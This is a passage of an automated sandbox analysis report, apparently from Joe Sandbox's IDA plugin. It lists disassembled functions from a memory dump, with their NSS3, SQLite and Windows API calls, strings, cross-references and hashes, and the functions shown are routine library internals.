Aborting, xrefs: 6CBA0EB3
Assertion failure: %s, at %s:%d, xrefs: 6CBA0ED9, 6CBA0EE5, 6CBA0F06, 6CBA0F0B

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: fe397c8265e30a4469baafcf9fae4670aac68fa53fc9398eb3936892bd7df468
Instruction ID: 5e2c38b9b99fcc8d319b9dcbf6573a12f9667f1fe011525f81594e0766778d72
Opcode Fuzzy Hash: fe397c8265e30a4469baafcf9fae4670aac68fa53fc9398eb3936892bd7df468
Instruction Fuzzy Hash: 3B01D2B6900254BBDF01AFA4EC45CAB3F3DEF4A7A4F014024FD0A97711D676E96087A2

Function 6CBA2B70 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 41stringCOMMON

Download Yara Rule

APIs

strstr.VCRUNTIME140(?,.dll), ref: 6CBA2B81
PR_smprintf.NSS3(%s%s,?,.dll), ref: 6CBA2B98
PR_smprintf.NSS3(%s\%s%s,?,?,.dll), ref: 6CBA2BB4
PR_smprintf.NSS3(6CBCAAF9,?), ref: 6CBA2BC4

Strings

.dll, xrefs: 6CBA2B7B, 6CBA2BA8, 6CBA2BCE
%s\%s, xrefs: 6CBA2B93
%s\%s%s, xrefs: 6CBA2BAF

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: R_smprintf$strstr
String ID: %s\%s$%s\%s%s$.dll
API String ID: 3360132973-3501675219
Opcode ID: 507af351e6cb12ed3281526576ab51290f04390fe66a9da5eba0e744d230009d
Instruction ID: 491b33e280125a9b3c4066c771bfde6044a8b844c20b4b8eefb8d81b0219d575
Opcode Fuzzy Hash: 507af351e6cb12ed3281526576ab51290f04390fe66a9da5eba0e744d230009d
Instruction Fuzzy Hash: 98F0A72E6490D537D62024DB6D08DDB3E1DCCE36F8B88085ABC5CA6F01F712915A85F3

Function 6CB64D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CB64DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB64DE0

Strings

API call with %s database connection pointer, xrefs: 6CB64DBD
misuse, xrefs: 6CB64DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB64DCB
%s at line %d of [%.10s], xrefs: 6CB64DDA
invalid, xrefs: 6CB64DB8

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: c1797e4154285c04c24db9288b04c85e2158e8619e8147000b9a9818d54af218
Instruction ID: 0a2a62aaf0670fd65ed8a54086544df78be51e0d2a6e72249050b007700106bd
Opcode Fuzzy Hash: c1797e4154285c04c24db9288b04c85e2158e8619e8147000b9a9818d54af218
Instruction Fuzzy Hash: 63F0B419F14DF96BD6008126DE31F8637598F01369F5609A1EE047BE62D606AC9886C3

Function 6CB64DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CB64E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB64E4D

Strings

API call with %s database connection pointer, xrefs: 6CB64E2A
misuse, xrefs: 6CB64E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB64E38
%s at line %d of [%.10s], xrefs: 6CB64E47
invalid, xrefs: 6CB64E25

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 28787f1ce3a0c8afc38f54aeb8ef05c0a9acf7d01176ddad56e6fdbf7b9798e4
Instruction ID: f42d32b3d6d885efa2d07d8d946620855c4eb1b40715b25f558a5db408837ef4
Opcode Fuzzy Hash: 28787f1ce3a0c8afc38f54aeb8ef05c0a9acf7d01176ddad56e6fdbf7b9798e4
Instruction Fuzzy Hash: A6F02719F44DE82BEA148026DD31FC73789CB03379F5985A1EA0877F92D309986146D3

Function 6CAD0C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CAD1444,?,00000001,?,00000000,00000000,?,?,6CAD1444,?,?,00000000,?,?), ref: 6CAD0CB3

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CAD1444,?,00000001,?,00000000,00000000,?,?,6CAD1444,?), ref: 6CAD0DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CAD1444,?,00000001,?,00000000,00000000,?,?,6CAD1444,?), ref: 6CAD0DEC

Part of subcall function 6CAF0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CA92AF5,?,?,?,?,?,6CA90A1B,00000000), ref: 6CAF0F1A
Part of subcall function 6CAF0F10: malloc.MOZGLUE(00000001), ref: 6CAF0F30
Part of subcall function 6CAF0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CAF0F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CAD1444,?,00000001,?,00000000,00000000,?), ref: 6CAD0DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CAD1444,?,00000001,?,00000000), ref: 6CAD0E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CAD1444,?,00000001,?,00000000,00000000,?), ref: 6CAD0E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CAD1444,?,00000001,?,00000000,00000000,?,?,6CAD1444,?,?,00000000), ref: 6CAD0E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CAD1444,?,00000001,?,00000000,00000000,?), ref: 6CAD0E79

Part of subcall function 6CAE1560: TlsGetValue.KERNEL32(00000000,?,6CAB0844,?), ref: 6CAE157A
Part of subcall function 6CAE1560: EnterCriticalSection.KERNEL32(?,?,?,6CAB0844,?), ref: 6CAE158F
Part of subcall function 6CAE1560: PR_Unlock.NSS3(?,?,?,?,6CAB0844,?), ref: 6CAE15B2

Part of subcall function 6CAAB1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CAB1397,00000000,?,6CAACF93,5B5F5EC0,00000000,?,6CAB1397,?), ref: 6CAAB1CB
Part of subcall function 6CAAB1A0: free.MOZGLUE(5B5F5EC0,?,6CAACF93,5B5F5EC0,00000000,?,6CAB1397,?), ref: 6CAAB1D2

Part of subcall function 6CAA89E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CAA88AE,-00000008), ref: 6CAA8A04
Part of subcall function 6CAA89E0: EnterCriticalSection.KERNEL32(?), ref: 6CAA8A15
Part of subcall function 6CAA89E0: memset.VCRUNTIME140(6CAA88AE,00000000,00000132), ref: 6CAA8A27
Part of subcall function 6CAA89E0: PR_Unlock.NSS3(?), ref: 6CAA8A35

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: b1f5fa664e7110db5a581be720cfad8cd354818790847977b16871ef514823ea
Instruction ID: 92fcc65920fea06603fa6e8529390556ab6dcefaeeee9e7f15494e84ba0a53be
Opcode Fuzzy Hash: b1f5fa664e7110db5a581be720cfad8cd354818790847977b16871ef514823ea
Instruction Fuzzy Hash: 3D51E6B5D002515FEB009F64DD81ABF37B8EF49218F190425ED19A7702FB31FD9986A2

Function 6CA86E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CA86ED8
sqlite3_value_text.NSS3(?,?), ref: 6CA86EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CA86FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CA86FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CA86FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CA87010
sqlite3_value_blob.NSS3(?,?), ref: 6CA8701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CA87052

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: fae929a5f8ed132efde49ff14aba014100aaa79fbbf29479baf829016fa64c8a
Instruction ID: a514dde2875f4fd99390ca8ccb1a471161a176ae8df5f3a41889baf9cef02c73
Opcode Fuzzy Hash: fae929a5f8ed132efde49ff14aba014100aaa79fbbf29479baf829016fa64c8a
Instruction Fuzzy Hash: CE6109B1E262558FEB01CFA4D9007EEB7B2AF45308F284165D415EBB51E732DC59CB90

Function 6CADCA30 Relevance: 12.2, APIs: 8, Instructions: 174COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CADCA95
EnterCriticalSection.KERNEL32(00000000), ref: 6CADCAA9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,00000000,?,6CADC8CF,?,?,?), ref: 6CADCAE7
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CADCB09
PK11_GetBlockSize.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?,6CADC8CF,?,?,?), ref: 6CADCB31

Part of subcall function 6CAD1490: PORT_Alloc_Util.NSS3(0000000C,?,?,?,?,6CADCB40,?,00000000), ref: 6CAD14A1
Part of subcall function 6CAD1490: PORT_ZAlloc_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,6CADC8CF,?), ref: 6CAD14C7
Part of subcall function 6CAD1490: memset.VCRUNTIME140(00000000,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CAD14E4
Part of subcall function 6CAD1490: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000), ref: 6CAD14F5

PR_Unlock.NSS3(?), ref: 6CADCB97
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CADCBB2
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,6CADC8CF), ref: 6CADCBE2

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: UnlockUtil$Alloc_$BlockCriticalEnterErrorItem_K11_SectionSizeValueZfreememcpymemset
String ID:
API String ID: 2753656479-0
Opcode ID: 6d48fdcadfd79dd10b59233d742279bef54ee42669e1cadf28b349f4edbe6701
Instruction ID: 4bb896c2a5cc8d5f2b3a6340d052400151edc7d866955d93215618720ff1a56a
Opcode Fuzzy Hash: 6d48fdcadfd79dd10b59233d742279bef54ee42669e1cadf28b349f4edbe6701
Instruction Fuzzy Hash: 0C518475E002199FDB00DFA8DD80AEEB7B4BF08358F594164E918A7711E731EDA4CBA1

Function 6CAF8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CAF7313), ref: 6CAF8FBB

Part of subcall function 6CAF07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CA98298,?,?,?,6CA8FCE5,?), ref: 6CAF07BF
Part of subcall function 6CAF07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CAF07E6
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF081B
Part of subcall function 6CAF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CAF7313), ref: 6CAF9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CAF7313), ref: 6CAF903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CAF7313), ref: 6CAF909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CAF7313), ref: 6CAF90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CAF7313), ref: 6CAF90F1

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CAF7313), ref: 6CAF906B

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CAF7313), ref: 6CAF9128

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 6e5bfb5266ddd19eb6055ba384fa5031f80c41b1efdd85ecda1346818cb4e8c1
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: C151C671A002018FEB508F7ADE44B26B3F9AF44358F194025F935D7751EB32E886CB91

Function 6CAD88E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAD88FC

Part of subcall function 6CAEBE30: SECOID_FindOID_Util.NSS3(6CAA311B,00000000,?,6CAA311B,?), ref: 6CAEBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CAD8913

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6CBBD864,?), ref: 6CAD8947

Part of subcall function 6CAEE200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6CAEE245
Part of subcall function 6CAEE200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6CAEE254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CAD895B
DER_GetInteger_Util.NSS3(?), ref: 6CAD8973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAD8982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CAD89EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CAD8A12

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: 08e2a6f791a0ae0ab24ac85aeef16d447347ef4f88ba67cef0a36ec86360e97b
Instruction ID: 82472033275768f361ae18a7a033c92acc97b10098e3289ea040f49d16017d30
Opcode Fuzzy Hash: 08e2a6f791a0ae0ab24ac85aeef16d447347ef4f88ba67cef0a36ec86360e97b
Instruction Fuzzy Hash: A9318FB1A0464057F72046B9AC417EA32958F8032CF2E1737D5A9D7B95FB31E4CA82D3

Function 6CA8AB70 Relevance: 12.1, APIs: 8, Instructions: 104pipeCOMMON

Download Yara Rule

APIs

CreatePipe.KERNEL32(?,?,?,00000000), ref: 6CA8ABAF
GetLastError.KERNEL32 ref: 6CA8AC44
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CA8AC50

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

PR_SetError.NSS3(FFFFE890,00000000), ref: 6CA8AC62
CloseHandle.KERNEL32(?), ref: 6CA8AC75
CloseHandle.KERNEL32(?), ref: 6CA8AC7A

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Error$CloseHandle$CreateLastPipeValue
String ID:
API String ID: 4247729451-0
Opcode ID: e7c3e13b04c97bfc262ea440ab048cf945d2a3b8cb9eb7dfe5e4fd2b42c4ac08
Instruction ID: ac3eefe6a995ddea5ae4fc203cec9524cd39cfba36e09ff4ffd09a57590541ca
Opcode Fuzzy Hash: e7c3e13b04c97bfc262ea440ab048cf945d2a3b8cb9eb7dfe5e4fd2b42c4ac08
Instruction Fuzzy Hash: 2731B2B5A011149FDB04DFA8DD459AEBFF5FF49708B248068D9099B361D7319C45CBA0

Function 6CAB4E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAB4E90
EnterCriticalSection.KERNEL32 ref: 6CAB4EA9
TlsGetValue.KERNEL32 ref: 6CAB4EC6
EnterCriticalSection.KERNEL32 ref: 6CAB4EDF
PL_HashTableLookup.NSS3 ref: 6CAB4EF8
PR_Unlock.NSS3 ref: 6CAB4F05
PR_Now.NSS3 ref: 6CAB4F13
PR_Unlock.NSS3 ref: 6CAB4F3A

Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807AD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807CD
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CA1204A), ref: 6CA807D6
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CA1204A), ref: 6CA807E4
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,6CA1204A), ref: 6CA80864
Part of subcall function 6CA807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CA80880
Part of subcall function 6CA807A0: TlsSetValue.KERNEL32(00000000,?,?,6CA1204A), ref: 6CA808CB
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808D7
Part of subcall function 6CA807A0: TlsGetValue.KERNEL32(?,?,6CA1204A), ref: 6CA808FB

Memory Dump Source

Source File: 00000000.00000002.2770961097.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2770654412.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771542006.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771633316.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771714825.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771742432.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2771771108.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: e853463d7bda44a025093e79764bf57ed61911ab3c2030002cfcc5d30fc6ed11
Instruction ID: bf4feab14e6f33ad66b25ad9311ce3fb13e735962fa64a080262d4937c5e0341
Opcode Fuzzy Hash: e853463d7bda44a025093e79764bf57ed61911ab3c2030002cfcc5d30fc6ed11
Instruction Fuzzy Hash: 014159B4A006059FCB00EF78D0848AEBBF4FF49754B058669EC999B710EB30E895CF91

Function 6CAB4A10 Relevance: 12.1, APIs: 8, Instructions: 80COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CAB5385,?,?,00000000), ref: 6CAB4A29
EnterCriticalSection.KERNEL32 ref: 6CAB4A42
TlsGetValue.KERNEL32 ref: 6CAB4A5F
EnterCriticalSection.KERNEL32 ref: 6CAB4A78
PL_HashTableLookup.NSS3 ref: 6CAB4A91
PR_Unlock.NSS3 ref: 6CAB4A9E
PR_Now.NSS3 ref: 6CAB4AAD
